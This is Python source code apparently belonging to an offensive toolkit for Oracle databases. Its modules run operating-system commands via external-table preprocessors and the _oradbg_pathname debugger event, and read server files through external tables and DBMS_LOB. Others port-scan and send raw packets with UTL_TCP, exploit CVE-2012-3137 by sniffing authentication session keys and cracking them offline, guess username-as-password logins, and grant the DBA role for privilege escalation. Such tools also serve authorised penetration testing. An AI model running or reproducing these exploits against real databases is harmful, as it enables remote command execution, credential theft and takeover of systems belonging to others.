		query = """CREATE TABLE {0} ( line  NUMBER , text  VARCHAR2(4000)) ORGANIZATION EXTERNAL ( TYPE ORACLE_LOADER DEFAULT DIRECTORY {1} ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE NOLOGFILE PREPROCESSOR {1}: '{2}' FIELDS TERMINATED BY WHITESPACE ( line RECNUM ,  text POSITION(1:4000)) ) LOCATION ('{2}') ) REJECT LIMIT UNLIMITED""".format(self.tableName, self.directoryName, remoteNameFile)
		response = self.__execThisQuery__(query=query,isquery=False)
		if isinstance(response,Exception) :
			logging.info('Error with the SQL request {0}: {1}'.format(query,str(response)))
			return response
		else : return True

	def __dropTable__(self):
		'''
		Drop the table with, for exemple
		DROP TABLE my_table PURGE; 
		'''
		logging.info('Drop the table: {0}'.format(self.tableName))
		query = "DROP TABLE {0} PURGE".format(self.tableName)
		response = self.__execThisQuery__(query=query,isquery=False)
		if isinstance(response,Exception) :
			logging.info('Error with the SQL request {0}: {1}'.format(query,str(response)))
			return response
		else : return True

	
	def getFile (self,remotePath, remoteNameFile, localFile):
		'''
		Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath)
		'''
		data = ""
		logging.info("Copy the {0} remote file (stored in {1}) to {2}".format(remoteNameFile,remotePath,localFile))
		status = self.__createOrRemplaceDirectory__(remotePath)
		if isinstance(status,Exception): return status
		status = self.__createTableForReadFile__(remoteNameFile)
		if isinstance(status,Exception): return status
		request = "select line from {0}".format(self.tableName)
		response = self.__execThisQuery__(query=request,ld=['line'])
		if isinstance(response,Exception):
			logging.info('Error with the SQL request {0}: {1}'.format(request,response))
			status = self.__dropDirectory__()
			status = self.__dropTable__()
			return response
		else :
			for l in response:	
				data += l['line']+'\n'
		status = self.__dropDirectory__()
		status = self.__dropTable__()
		return data

	def execute (self, remotePath, remoteNameFile):
		'''
		Execute a command
		'''
		logging.info("Execute the {0} command stored stored in {1}".format(remoteNameFile,remotePath))
		status = self.__createOrRemplaceDirectory__(remotePath)
		if isinstance(status,Exception): return status
		status = self.__createTableForExec__(remoteNameFile)
		if isinstance(status,Exception): return status
		request = "select line from {0}".format(self.tableName)
		response = self.__execThisQuery__(query=request, ld=['line'])
		if isinstance(response,Exception):
			logging.info('Error with the SQL request {0}: {1}'.format(request,response))
			status = self.__dropDirectory__()
			status = self.__dropTable__()
			return response
		else :
			logging.info("{0} command executed without errors".format(remoteNameFile))
		status = self.__dropDirectory__()
		status = self.__dropTable__()
		return response

	def testAll(self):
		'''
		Test all functions
		'''
		folder = self.__generateRandomString__()	
		self.args['print'].subtitle("External table to read files ?")
		logging.info("Simulate the file reading in the {0} folder thanks to an external table".format(folder))
		status = self.getFile(remotePath=folder, remoteNameFile='data.txt', localFile="test.txt")
		if (status == True or self.ERROR_EXTERNAL_TABLE_WITH_WRITE in str(status) or self.ERROR_EXTERNAL_TABLE_READ in str(status)):
			self.args['print'].goodNews("OK")
		else : 
			self.args['print'].badNews("KO")
		self.args['print'].subtitle("External table to execute system commands ?")
		logging.info("Simulate the file execution thanks to an external table")
		status = self.execute (remotePath=folder, remoteNameFile='test')
		if (status == True or self.ERROR_EXTERNAL_TABLE_WITH_WRITE in str(status) or self.ERROR_EXTERNAL_TABLE_READ in str(status)):
			self.args['print'].goodNews("OK")
		else : 
			self.args['print'].badNews("KO") def runExternalTableModule (args):
	'''
	Run the External Table module
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module","getFile","exec"]) == False : return EXIT_MISS_ARGUMENT
	externalTable = ExternalTable(args)
	status = externalTable.connection(stopIfError=True)
	if args['test-module'] == True :
		args['print'].title("Test if the External Table module can be used")
		status = externalTable.testAll()
	#Option 1: getFile
	if args['getFile'] != None:
		args['print'].title("Read the {0} file stored in the {1} path".format(args['getFile'][1],args['getFile'][0]))
		data = externalTable.getFile (remotePath=args['getFile'][0], remoteNameFile=args['getFile'][1], localFile=args['getFile'][2])
		if isinstance(data,Exception):
			args['print'].badNews("There is an error: {0}".format(data))
		else:
			args['print'].goodNews("Data stored in the remote file {0} stored in {1}".format(args['getFile'][1],args['getFile'][0]))
			print(data)
	#Option 2: exec a script or command
	if args['exec'] != None:
		args['print'].title("Execute the {0} command stored in the {1} path".format(args['exec'][1],args['exec'][0]))
		data = externalTable.execute (remotePath=args['exec'][0], remoteNameFile=args['exec'][1])
		if isinstance(data,Exception):
			args['print'].badNews("There is an error: {0}".format(data))
		else:
			args['print'].goodNews("The {0} command stored in {1} has been executed (normally)".format(args['exec'][1],args['exec'][0])) class UtlTcp (Http):
	'''
	Allow the user to scan ports
	'''
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("UtlTcp object created")
		Http.__init__(self,args)

	def tryToConnect(self,server,port):
		'''
		Try to connect to this server on the port selected
		'''
		request = "DECLARE c  utl_tcp.connection; BEGIN c := utl_tcp.open_connection('{0}',{1}); utl_tcp.close_connection(c); END;".format(server, port)
		response = self.__execPLSQL__(request)
		if isinstance(response,Exception):
			logging.info('Impossible to connect to the {0}:{1} server with UTL_TCP: {2}'.format(server,port,response))
			return response
		else : return True

	def sendPacket(self,server,port,filename=None, data=None):
		'''
		Send a packet to the server, on the specific port
		'''
		responsedata = ""
		if filename==None and data==None :
			logging.error("To send a packet via UTL_TCP, you must choose between a name file or data")
		if filename != None:
			data = self.__loadFile__(filename)
		elif data == None:
			data = ""
		if isinstance(data,Exception):
			return data
		data = data.hex()
		request = "DECLARE c  utl_tcp.connection; ret_val pls_integer; bu RAW(32766); BEGIN c := utl_tcp.open_connection('{0}',{1}); bu:=hextoraw('{2}'); ret_val := utl_tcp.write_raw(c, bu); ret_val := utl_tcp.write_line(c); BEGIN LOOP dbms_output.put_line(utl_tcp.get_line(c, TRUE)); END LOOP; EXCEPTION WHEN utl_tcp.end_of_input THEN NULL; END; utl_tcp.close_connection(c); END;".format(server, port,data)
		logging.info("Send the packet")		
		data = self.__execPLSQLwithDbmsOutput__(request,addLineBreak=True)
		return data


	def testAll (self):
		'''
		Test all functions
		'''
		self.args['print'].subtitle("UTL_TCP library ?")
		logging.info('Try to make the server connect to 0.0.0.0:00 with the UTL_TCP library')
		response = self.tryToConnect('0.0.0.0','1')
		if isinstance(response,Exception) and self.ERROR_UTL_TCP_NETWORK not in str(response):
				logging.info('Not enough privileges: {0}'.format(str(response)))
				self.args['print'].badNews("KO")
				return False
		else:
			self.args['print'].goodNews("OK")
			return True def runUtlTcpModule(args):
	'''
	Run the UTL_TCP module
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module","send-packet","scan-ports"]) == False : return EXIT_MISS_ARGUMENT
	utlTcp = UtlTcp(args)
	status = utlTcp.connection(stopIfError=True)
	if args['test-module'] == True :
		args['print'].title("Test if the UTL_TCP library can be used")
		status = utlTcp.testAll()
	#Option 2: send packet
	if args['send-packet'] != None:
		args['print'].title("Send the packet stored in the {0} file".format(args['send-packet'][2]))
		data = utlTcp.sendPacket(args['send-packet'][0],args['send-packet'][1],filename=args['send-packet'][2])
		if isinstance(data,Exception): 
			args['print'].badNews("Impossible to send the packet: {0}".format(data))
		else : 
			args['print'].goodNews("Response from the server:\n{0}".format(data))
	#Option 1: tcp Scan
	if args['scan-ports'] != None:
		ports = []
		if "," in args['scan-ports'][1]: ports=args['scan-ports'][1].split(',')
		elif '-' in args['scan-ports'][1]:
			startEnd = args['scan-ports'][1].split('-')
			for aPort in range(int(startEnd[0]),int(startEnd[1])): ports.append(str(aPort))
		else : logging.error("Syntax for ports given not recognized")
		args['print'].title("Scan ports ({0}) of {1} ".format(args['scan-ports'][1],args['scan-ports'][0]))
		resultats = utlTcp.scanTcpPorts(httpObject=utlTcp,ip=args['scan-ports'][0],ports=ports)
		utlTcp.printScanPortResults(resultats)
	utlTcp.close() class DbmsLob (DirectoryManagement):	
	'''
	Allow the user to read file thanks to DBMS_LOB
	'''
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("DbmsLob object created")
		DirectoryManagement.__init__(self,args)
		self.__setDirectoryName__()
		
	def getFile (self,remotePath, remoteNameFile, localFile):
		'''
		Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath)
		'''
		data = ""
		logging.info("Copy the {0} remote file (stored in {1}) to {2}".format(remoteNameFile,remotePath,localFile))
		#Get data of the remote file
		DBMS_LOB_GET_FILE ="""
		DECLARE	
                        -- Pointer to the BFILE
                        l_loc       BFILE;
                        -- Current position in the file (file begins at position 1)
                        l_pos       NUMBER := 1;
                        -- Amount of characters to read
                        l_sum       BINARY_INTEGER;
                        -- Read Buffer
                        l_buf       VARCHAR2(32767);
			l_stat		BINARY_INTEGER := 16383;
                BEGIN
                        l_loc := BFILENAME('{0}','{1}');
                        DBMS_LOB.OPEN(l_loc,DBMS_LOB.LOB_READONLY);
			l_sum := dbms_lob.getlength(l_loc);
			LOOP
			IF (l_sum < 16383) THEN
				DBMS_LOB.READ(l_loc,l_sum,l_pos,l_buf);
				dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf));     	
				EXIT;
			END IF;
			l_sum := l_sum - 16383;
			DBMS_LOB.READ(l_loc,l_stat,l_pos,l_buf);
			l_pos := l_pos + 16383;
			dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf));
                        END LOOP;
                        DBMS_LOB.CLOSE(l_loc);
                END;
		"""
		isFileExist= self.getFileExist (remotePath, remoteNameFile)
		if isFileExist == True :
			status = self.__createOrRemplaceDirectory__(remotePath)
			if isinstance(status,Exception): return status
			cursor = cx_Oracle.Cursor(self.args['dbcon'])
			cursor.callproc("dbms_output.enable")
			try:
				cursor.execute(DBMS_LOB_GET_FILE.format(self.directoryName, remoteNameFile))
			except Exception as e:
				logging.info("Impossible to execute the query `{0}`: {1}".format(DBMS_LOB_GET_FILE, self.cleanError(e)))
				self.__dropDirectory__()
				return ErrorSQLRequest(e)
			else :
				statusVar = cursor.var(cx_Oracle.NUMBER)
				lineVar = cursor.var(cx_Oracle.STRING)
				while True:
					cursor.callproc("dbms_output.get_line", (lineVar, statusVar))
					if statusVar.getvalue() != 0: break
					line = lineVar.getvalue()
					if line == None : line = ''
					data += line
					logging.info(repr(line))
			cursor.close()
		elif isFileExist == False : data = False
		else : data = isFileExist
		self.__dropDirectory__()
		return data
		
	def getFileExist (self, remotePath, remoteNameFile):
		'''
		Return true if file exists
		'''
		exist, returnedValue = False, False
		logging.info("Test if the {1}{0} file exists".format(remoteNameFile,remotePath))
		self.__setDirectoryName__()
		status = self.__createOrRemplaceDirectory__(remotePath)
		if isinstance(status,Exception): return status
		DBMS_LOB_FILE_EXISTS = "DECLARE l_loc BFILE; l_ret BOOLEAN := FALSE; BEGIN l_loc := BFILENAME('{0}','{1}'); l_ret := DBMS_LOB.FILEEXISTS(l_loc) = 1; IF (l_ret) THEN dbms_output.put_line('True'); ELSE dbms_output.put_line('False'); END IF;END;"
		cursor = cx_Oracle.Cursor(self.args['dbcon'])
		try :
			cursor.callproc("dbms_output.enable")
			try:
				cursor.execute(DBMS_LOB_FILE_EXISTS.format(self.directoryName, remoteNameFile))
			except Exception as e:
				logging.info("Impossible to execute the query `{0}`: {1}".format(DBMS_LOB_FILE_EXISTS, self.cleanError(e)))
				returnedValue = ErrorSQLRequest(e)
			else :
				statusVar = cursor.var(cx_Oracle.NUMBER)
				lineVar = cursor.var(cx_Oracle.STRING)
				cursor.callproc("dbms_output.get_line", (lineVar, statusVar))
				if statusVar.getvalue() != 0: returnedValue = False
				line = lineVar.getvalue()
				if line == None : 
					line = ''	
				if "True" in line : 
					logging.debug("The file exist: good news")
					returnedValue = True
				elif "False" in line :
					logging.debug("The file doesn't exist") 
					returnedValue = False
				else :
					logging.warning("Can't know if the file exist. There is an error: {0}".format(line)) 
					returnedValue = ErrorSQLRequest(line)
			cursor.close()
		except Exception as e: 
			returnedValue = ErrorSQLRequest(e)
		self.__dropDirectory__()
		return returnedValue
		
	def testAll(self):
		'''
		Test all functions
		'''
		folder = self.__generateRandomString__()	
		self.args['print'].subtitle("DBMS_LOB to read files ?")
		logging.info("Simulate the file reading in the {0} folder thanks to DBMS_LOB".format(folder))
		status = self.getFile (remotePath=folder, remoteNameFile='data.txt', localFile="test.txt")
		if status == True or status == False:
			self.args['print'].goodNews("OK")
		else : 
			self.args['print'].badNews("KO") def runDbmsLob (args):
	'''
	Run the DbmsLob module
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module","getFile"]) == False : return EXIT_MISS_ARGUMENT
	dbmsLob = DbmsLob(args)
	status = dbmsLob.connection(stopIfError=True)
	if args['test-module'] == True :
		args['print'].title("Test if the DbmsLob module can be used")
		status = dbmsLob.testAll()
	#Option 1: getFile
	if args['getFile'] != None:
		args['print'].title("Read the {0} file stored in the {1} path".format(args['getFile'][1],args['getFile'][0]))
		data = dbmsLob.getFile (remotePath=args['getFile'][0], remoteNameFile=args['getFile'][1], localFile=args['getFile'][2])
		if isinstance(data,Exception):
			args['print'].badNews("There is an error: {0}".format(data))
		elif data == False : args['print'].badNews("The {0} file in {1} doesn't exist".format(args['getFile'][1],args['getFile'][0]))
		elif data == '' : args['print'].badNews("The {0} file is empty".format(args['getFile']))
		else :
			args['print'].goodNews("Data stored in the {0} file sored in {1} (copied in {2} locally):\n{3}".format(args['getFile'][1],args['getFile'][0],args['getFile'][2],data)) class CVE_2012_3137 ():
	'''
	CVE-2012-3137 : to get remote passwords thanks to nmap
	'''
	
	sessionKey, salt = "", ""

	def __init__(self, args, accountsFile=None, timeSleep=0):
		'''
		Constructor
		'''
		logging.debug("CVE_2012_3137 object created")
		self.MAX_PACKET_TO_CAPTURE=200
		self.TIMEOUT=5
		self.args=args
		self.accountsFile = accountsFile
		self.timeSleep = timeSleep
		self.usernames = []
		if self.accountsFile != None : self.loadUsernames()
		self.keys = []
		self.passwdFound = []
		self.separator = "|<->|"
	
	def __resetSessionKeyValueAndSalt__(self):
		'''
		'''
		global sessionKey, salt
		sessionKey, salt = "", ""
		logging.debug('Session key and salt are now emply')

	def getKeys(self):
		'''
		return keys
		'''
		return self.keys

	def loadUsernames (self,separator = '/'):
		'''
		load usernames from self.accountsFile
		'''
		logging.info ("Loading usernames stored in {0}".format(self.accountsFile))
		f = open(self.accountsFile)
		for l in f:
			nl = l.replace('\n','').replace('\t','').split('/')
			self.usernames.append(nl[0])
		f.close()

	def __sniff_sessionkey_and_salt__(self,ip=None,port=None):
		'''
		To sniff the session key and the salt in an Oracle connection thanks to scapy
		'''
		def customAction(packet):
			global sessionKey, salt
			if packet[0].haslayer(IP)==True and packet[1].src == ip :
				#print packet.show()
				if packet[2].haslayer(scapyall.Raw)==True:
					raw = repr(packet[2].getlayer(scapyall.Raw).load)
					if "AUTH_SESSKEY" in raw and "AUTH_VFR_DATA" in raw:	
						sessionKey = re.findall(r"[0-9a-fA-F]{96}" ,raw[raw.index("AUTH_SESSKEY"):raw.index("AUTH_VFR_DATA")])
						if sessionKey != [] : 
							sessionKey = sessionKey[0]
							logging.info ("We have captured the session key: {0}".format(sessionKey))
						try : authVFRindex = raw.index("AUTH_VFR_DATA")
						except : logging.warning("The following string doesn't contain AUTH_VFR_DATA: {0}".format(raw))
						else:
							try: authGloIndex = raw.index("AUTH_GLOBALLY_UNIQUE_DBID")
							except : logging.warning("The following string doesn't contain AUTH_GLOBALLY_UNIQUE_DBID: {0}".format(raw))
							else:
								salt = re.findall(r"[0-9a-fA-F]{22}" ,raw[authVFRindex:authGloIndex])
								if salt != [] : 
									salt = salt[0][2:]
									logging.info ("We have captured the salt: {0}".format(salt))
						finally:
							return True
			return False
		self.__resetSessionKeyValueAndSalt__()
		scapyall.sniff(filter="tcp and host {0} and port {1}".format(ip,port), count=self.MAX_PACKET_TO_CAPTURE, timeout=self.TIMEOUT, stop_filter=customAction,store=False)
		return sessionKey, salt

	def __try_to_connect__(self, user):
		'''
		Establish a connection to the database
		'''
		odc = OracleDatabase(self.args)
		connString = odc.__generateConnectionString__(username=user, password="aaaa")
		try:
			logging.debug("Connecting with {0}".format(connString))
			cx_Oracle.connect(connString)
		except Exception as e:
			logging.debug("Of course, impossible to connect: {0}".format(e))

	def getAPassword(self,user):
		'''
		'''
		logging.debug("Sniffing is running in a new thread")
		a = Thread(None, self.__sniff_sessionkey_and_salt__, None, (), {'ip':self.args['server'],'port':self.args['port']})
		a.start()
		logging.debug("Waiting 3 seconds")
		sleep(3)
		logging.debug("Connection to the database via a new thread with the username {0}".format(self.args['user']))
		b = Thread(None, self.__try_to_connect__, None, (), {'user':user})
		b.start()
		b.join()
		a.join()
		return "",""
		

	def getPasswords(self):
		'''
		get passwords
		'''
		logging.info ("Getting remote passwords of {0} users".format(len(self.usernames)))
		pbar,nb = ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=len(self.usernames)).start(), 0
		for user in self.usernames:
			logging.info("Try to get the session key and salt of the {0} user".format(user))
			self.getAPassword(user)
			nb += 1
			pbar.update(nb)
			if sessionKey != '' and salt != '':
				key = "{0}{3}{1}{3}{2}".format(user,sessionKey, salt,self.separator)
				self.keys.append(key)
				logging.debug("Key found: {0}".format(key))
			sleep(self.timeSleep)
		pbar.finish()

	def __decryptKey__(self, session, salt, password):
		'''
		'''
		pass_hash = hashlib.sha1(password+salt)
		key = pass_hash.digest() + b'\x00\x00\x00\x00'
		decryptor = AES.new(key,AES.MODE_CBC,b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
		plain = decryptor.decrypt(session)
		return plain

	def decryptKeys(self, sessionFile, passwdFile):
		'''
		decrypt keyx
		'''
		#Nb sessions
		fsession, nbsession = open(sessionFile), 0
		for l in fsession: nbsession+=1
		fsession.close()
		logging.info("{0} sessions in the {1} file".format(nbsession,sessionFile))
		#Nb Passwds
		fpasswds, nbpasswds = open(passwdFile), 0
		for l in fpasswds: nbpasswds+=1
		fpasswds.close()
		logging.info("{0} passwords in the {1} file".format(nbpasswds,passwdFile))
		if nbpasswds == 0 : 
			logging.critical("No password in the {0} file".format(passwdFile))
			return []
		elif nbsession == 0:
			logging.critical("No session in the {0} file".format(sessionFile))
			return []
		else :
			fsession = open(sessionFile)
			for session in fsession:
				user, session_hex, salt_hex = session.replace('\n','').replace('\t','').split(self.separator)
				if session_hex=='[]' or salt_hex=='[]':
					logging.warning("There is not salt or session for '{0}', nothing to do! Probably not vulnerable...".format(user))
				else:
					self.args['print'].subtitle("Searching the password of the {0} user".format(user))
					fpasswd = open(passwdFile)
					pbar,nb = ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=nbpasswds).start(), 0
					for password in fpasswd:
						nb +=1
						pbar.update(nb)
						password = password.replace('\n','').replace('\t','')
						session_id = self.__decryptKey__(bytes.fromhex(session_hex),  bytes.fromhex(salt_hex), password.encode('utf-8'))
						if session_id[40:] == b'\x08\x08\x08\x08\x08\x08\x08\x08':
							self.passwdFound.append([user,password])
							self.args['print'].goodNews("{0} password:{1}".format(user,password))
							fpasswd.close()
							break
					fpasswd.close()
					pbar.finish()
			fsession.close()
			return self.passwdFound

	def isVulnerable (self, user, password):
		'''
		Capture the challenge with the login and tries to recover the password with password
		Return True if the remote database is vulnerable
		Return False if not vulnerable.
		Return an error if an error.
		'''
		global sessionKey, salt
		logging.info("Try to know if the database server is vulnerable to the CVE-2012-3137")
		sessionKey, salt = "", "" 
		self.getAPassword(user)
		logging.info("The challenge captured for the user {0}: key='{1}', salt='{2}'".format(user, sessionKey, salt))
		if sessionKey != '' and salt != '' and sessionKey != [] and salt != []:
			session_id = self.__decryptKey__(bytes.fromhex(sessionKey), bytes.fromhex(salt), password.encode('utf-8'))
			if session_id[40:] == b'\x08\x08\x08\x08\x08\x08\x08\x08':
				logging.info ("The database is vulnerable! Indeed, the result is good when you use the password '{0}' to decrypt the key '{1}' of the user {2} with the salt '{3}'".format(password, sessionKey, user, salt))
				return True
			else:
				logging.info ("The password {0} is not used in the challenge of the user {1}. Consequently, not vulnerable".format(password, user))
				return False
		else:
			logging.info ("The challenge captured is empty")
			return False

	def testAll (self):
		'''
		Test all functions
		'''
		self.args['print'].subtitle("Obtain the session key and salt for arbitrary Oracle users (CVE-2012-3137)?")
		if ('user' in self.args) == False or ('password' in self.args) == False or self.args['user'] == None or self.args['password'] == None : 
			self.args['print'].unknownNews("Impossible to know if the database is vulnreable to the CVE-2012-3137.\nYou need to give VALID credentials on the database (-U and -P). Otherwise, the tool can't know if the database is vulnerable...")
		else:
			if 1==1:
				if geteuid() != 0:
					self.args['print'].unknownNews("Impossible to know if the database is vulnreable to the CVE-2012-3137. You need to run this as root because it needs to sniff authentications to the database")
				else:
					vulneable = self.isVulnerable (self.args['user'], self.args['password'])
					if vulneable == True:
						self.args['print'].goodNews("OK")
					elif  vulneable == False:
						self.args['print'].badNews("KO")
					else:
						self.args['print'].badNews("There is an error {0}".format(vulnerable))
				'''
				if geteuid() != 0:
					args['print'].badNews("Sorry, you need to run this as root because I need to sniff authentications to the database")
				else:
					args['print'].info("Getting remote passwords on the {0} server, port {1}".format(self.args['server'],self.args['port']))
		''' def runCVE20123137Module(args):
	'''
	Run the CVE_2012_3137 module
	'''
	if checkOptionsGivenByTheUser(args,["test-module","get-all-passwords","decrypt-sessions"],checkAccount=False) == False : return EXIT_MISS_ARGUMENT
	cve = CVE_2012_3137 (args,  accountsFile=args['user-list'], timeSleep=args['timeSleep'])
	if args['test-module'] == True :
		cve.testAll()
	#Option 1: get all passwords
	if args['get-all-passwords'] != None:
		if geteuid() != 0:
			args['print'].badNews("Sorry, you need to run this as root because I need to sniff authentications to the database")
		else:
			args['print'].title("Getting remote passwords on the {0} server, port {1}".format(args['server'],args['port']))
			cve.getPasswords()
			keys = cve.getKeys()
			if keys != []:
				args['print'].goodNews("Here are keys:\n\n{0}\n\nIf for some users keys are empty, there was an error during capture or this Oracle user does not exist on the database".format('\n'.join(keys)))
				filename = "sessions-{0}-{1}-{2}{3}".format(args['server'], args['port'], getSIDorServiceName(args), CHALLENGE_EXT_FILE)
				f = open(filename,"w")
				f.write('\n'.join(keys))
				f.close()
				args['print'].goodNews("Sessions strored in the {0} file.".format(filename))
			else : 
				args['print'].badNews("Impossible to exploit this vulnreability")
	#Option 2: decrypt sessions
	if args['decrypt-sessions'] != None:
		args['print'].title("Decrypt sessions stored in {0} via {1}".format(args['decrypt-sessions'][0],args['decrypt-sessions'][1]))
		passwds = cve.decryptKeys(args['decrypt-sessions'][0], args['decrypt-sessions'][1])
		if passwds != []:
			passwordsStr = ""
			for e in passwds : 
				passwordsStr +='{0}:{1}\n'.format(e[0],e[1])
			args['print'].goodNews("Accounts found:\n{0}".format(passwordsStr))
		else:
			args['print'].badNews("No password has been found") class Oradbg (OracleDatabase):
	'''
	Allow the user to execute a binary stored on the server
	'''
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("Oradbg object created")
		OracleDatabase.__init__(self,args)

	def execOSCommand(self,cmd):
		'''
		Execute a binary or script stored on the server
		'''
		logging.info('Execute the following command on the remote database system: {0}'.format(cmd))
		logging.info('Be Careful: script or bin without special chars is allowed')
		logging.debug('Setting the _oradbg_pathname variable to {0}'.format(cmd))
		REQUEST = "alter system set \"_oradbg_pathname\"='{0}'".format(cmd)
		response = self.__execPLSQL__(REQUEST)
		if isinstance(response,Exception):
			logging.info("Impossible to set _oradbg_pathname: '{0}'".format(self.cleanError(response)))
			return response
		else:
			logging.debug('Setting the system set events')
			REQUEST = "alter system set events 'logon debugger'"
			response = self.__execPLSQL__(REQUEST)
			if isinstance(response,Exception):
				logging.info('Impossible to set system events: {0}'.format(self.cleanError(response)))
				return response
			else :
				logging.debug('Connecting to the database to run the script/bin')
				status = self.connection(threaded=False, stopIfError=False)
				if isinstance(response,Exception):
					return ErrorSQLRequest("Impossible to connect to the remmote database to run the bin/script: {0}".format(self.cleanError(e)))
				return True

	def testAll (self):
		'''
		Test all functions
		'''
		self.args['print'].subtitle("Oradbg ?")
		command = self.__generateRandomString__()
		logging.info("Try to use _oradbg_pathname variable to execute the following random command: {0}".format(command))
		status = self.execOSCommand(cmd=command)
		if status == True :
			self.args['print'].goodNews("OK")
		else : 
			self.args['print'].badNews("KO") def runOradbgModule(args):
	'''
	Run the Oradbg module
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module","exec"]) == False : return EXIT_MISS_ARGUMENT
	oradbg = Oradbg(args)
	status = oradbg.connection(stopIfError=True)
	if args['test-module'] == True :
		args['print'].title("Test if the Oradbg can be used")
		status = oradbg.testAll()
	#Option 1: exec
	if args['exec'] != None:
		args['print'].title("Execute the `{0}` on the {1} server".format(args['exec'],args['server']))
		status = oradbg.execOSCommand(args['exec'])
		if status == True:
			args['print'].goodNews("The `{0}` command was executed on the {1} server (probably)".format(args['exec'],args['server']))
		else :
			args['print'].badNews("The `{0}` command was not executed on the {1} server: {2}".format(args['exec'],args['server'],str(status)))
	oradbg.close() class UsernameLikePassword (OracleDatabase):
	'''
	Allow to connect to the database using each Oracle username like the password 
	'''
	def __init__(self,args, lowerAndUpper=True):
		'''
		Constructor
		'''
		logging.debug("UsernameLikePassword object created")
		OracleDatabase.__init__(self,args)
		self.allUsernames = []
		self.validAccountsList = []
		self.lowerAndUpper=lowerAndUpper

	def __loadAllUsernames__(self):
		'''
		Get all usernames from the ALL_USERS table
		'''
		logging.info('Get all usernames from the ALL_USERS table')
		query = "select username from ALL_USERS"
		response = self.__execQuery__(query=query,ld=['username'])
		if isinstance(response,Exception) :
			logging.info('Error with the SQL request {0}: {1}'.format(query,str(response)))
			return response
		else :
			if response == []: self.allUsernames = []
			else:
				for e in response : self.allUsernames.append(e['username']) 
		logging.info("Oracle usernames stored in the ALL_USERS table: {0}".format(self.allUsernames))

	def tryUsernameLikePassword(self, additionalPwd=[]):
		'''
		Try to connect to the DB with each Oracle username using the username like the password
		if lowerAndUpper == True, the username in upper case and lower case format will be tested
		Otherwise identical to username only
		'''
		accounts = []
		self.__loadAllUsernames__()
		passwordGuesser = PasswordGuesser(self.args,accountsFile="",loginFile=None,passwordFile=None,loginAsPwd=False,timeSleep=self.args['timeSleep'])
		for usern in self.allUsernames:
			if self.lowerAndUpper == True:
				logging.debug("Password identical (upper case and lower case) to username will be tested for '{0}'".format(usern))
				accounts.append([usern,usern.upper()])
				accounts.append([usern,usern.lower()])
				logging.debug("These passwords will be tested for {0} also: {1}".format(usern, additionalPwd))
				for anAdditionalPwd in additionalPwd:
					accounts.append([usern,anAdditionalPwd])
			else:
				logging.debug("Password identical to username will be tested ONLY for '{0}' (option enabled)".format(usern))
				accounts.append([usern,usern])
		passwordGuesser.accounts = accounts
		passwordGuesser.searchValideAccounts()
		self.validAccountsList = passwordGuesser.valideAccounts	

	def testAll (self):
		'''
		Test all functions
		'''
		pass def runUsernameLikePassword(args):
	'''
	Run the UsernameLikePassword module
	'''
	status= True
	usernameLikePassword = UsernameLikePassword(args)
	status = usernameLikePassword.connection(stopIfError=True)
	#Option 1: UsernameLikePassword
	if args['run'] !=None :
		additionalPwd = []
		args['print'].title("Oracle users have not the password identical to the username ?")
		if 'additional-pwd' in args and args['additional-pwd'] != None:
			additionalPwd = args['additional-pwd']
		usernameLikePassword.tryUsernameLikePassword(additionalPwd = additionalPwd)
		if usernameLikePassword.validAccountsList == {}:
			args['print'].badNews("No found a valid account on {0}:{1}/{2} with usernameLikePassword module".format(args['server'], args['port'], getSIDorServiceNameWithType(args)))
		else :
			args['print'].goodNews("Accounts found on {0}:{1}/{2} with usernameLikePassword module: {3}".format(args['server'], args['port'], getSIDorServiceNameWithType(args), getCredentialsFormated(usernameLikePassword.validAccountsList))) def runSearchModule(args):
	'''
	Run the Search module
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module","column-names","pwd-column-names","desc-tables","without-example","sql-shell",'basic-info']) == False : return EXIT_MISS_ARGUMENT
	search = Search(args)
	status = search.connection(stopIfError=True)
	if args['test-module'] == True :
		args['print'].title("Test if the Search module can be used")
		status = search.testAll()
	if args['basic-info'] == True :
		args['print'].title("Test if the Search module can be used")
		status = search.getBasicInformation(printStdout=True)
	if ('column-names' in args)==True and args['column-names']!=None:
		args['print'].title("Columns which contains the pattern '{0}'".format(args['column-names']))
		table = search.searchInColumns(args['column-names'],showEmptyColumns=args['show-empty-columns'], withoutExample=args['without-example'])
		if search.isEmptyTable(table) == True :
			args['print'].badNews("no result found")
		else :
			args['print'].goodNews(table)
	if args['pwd-column-names']==True:
		args['print'].title("Columns which contains the pattern ~password~ like (multi language)")
		table = search.searchPwdKeyworkInColumnNames(showEmptyColumns=args['show-empty-columns'], withoutExample=args['without-example'])
		if search.isEmptyTable(table) == True :
			args['print'].badNews("no result found")
		else :
			args['print'].goodNews(table)
	if args['desc-tables']==True:
		args['print'].title("Descibe each table which is accessible by the current user (without system tables)")
		table = search.getDescOfEachNoSystemTable()
		print(table)
	if args['sql-shell'] == True:
		args['print'].title("Starting an interactive SQL shell")
		search.startInteractiveSQLShell() class PrivilegeEscalation (OracleDatabase):
	'''
	Privilege Escalation Module
	'''
	
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("PrivilegeEscalation object created")
		OracleDatabase.__init__(self,args)
		#Ccommon
		self.GRANT_DBA_TO_USER = "GRANT dba TO {0}"#{0} User
		
	def revokeDbaRole(self, user=None):
		'''
		If user = None, user = current user
		Returns True if nor error
		Otherwise return Error
		'''
		self.REVOKE_DBA_FROM_USER = "REVOKE dba FROM {0}"#{0} User
		if user == None : user = self.args['user']
		logging.info("Trying to revoke DBA role from '{0}'".format(user))
		status = self.__execPLSQL__(self.REVOKE_DBA_FROM_USER.format(user))
		if isinstance(status, Exception):
